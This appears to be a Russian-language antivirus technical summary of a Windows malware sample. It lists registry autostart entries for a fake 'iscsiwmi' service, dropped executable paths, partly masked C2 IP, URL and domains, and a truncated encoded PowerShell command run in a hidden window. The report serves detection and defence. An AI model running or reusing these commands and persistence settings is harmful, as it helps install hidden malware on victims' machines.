Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\iscsiwmi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iscsiwmi] 'ImagePath' = '"%WINDIR%\SysWOW64\clusapi\iscsiwmi.exe"'
- 'iscsiwmi' "%WINDIR%\SysWOW64\clusapi\iscsiwmi.exe"
- 'iscsiwmi' %WINDIR%\SysWOW64\clusapi\iscsiwmi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABKADYAZQBvADQAMAA1AD0AKAAoACcAUAB5ACcAKwAnAHgAMQBnACcAKQArACcAeQA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBwAFIAbwBmAGkATA...
- %HOMEPATH%\abcq0l4\peikp4t\pccesw28f.exe
- %WINDIR%\syswow64\clusapi\iscsiwmi.exe
- %HOMEPATH%\abcq0l4\peikp4t\pccesw28f.exe в %WINDIR%\syswow64\clusapi\iscsiwmi.exe
- '10#.#93.103.61':80
- http://10#.#93.103.61/qXU4/rmBFks1/MUicxTzqtrYodXivN/
- DNS ASK tr####eshirt.com
- DNS ASK nh###omau.com
- '%HOMEPATH%\abcq0l4\peikp4t\pccesw28f.exe'
- '%WINDIR%\syswow64\clusapi\iscsiwmi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABKADYAZQBvADQAMAA1AD0AKAAoACcAUAB5ACcAKwAnAHgAMQBnACcAKQArACcAeQA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBwAFIAbwBmAGkATA...' (со скрытым окном)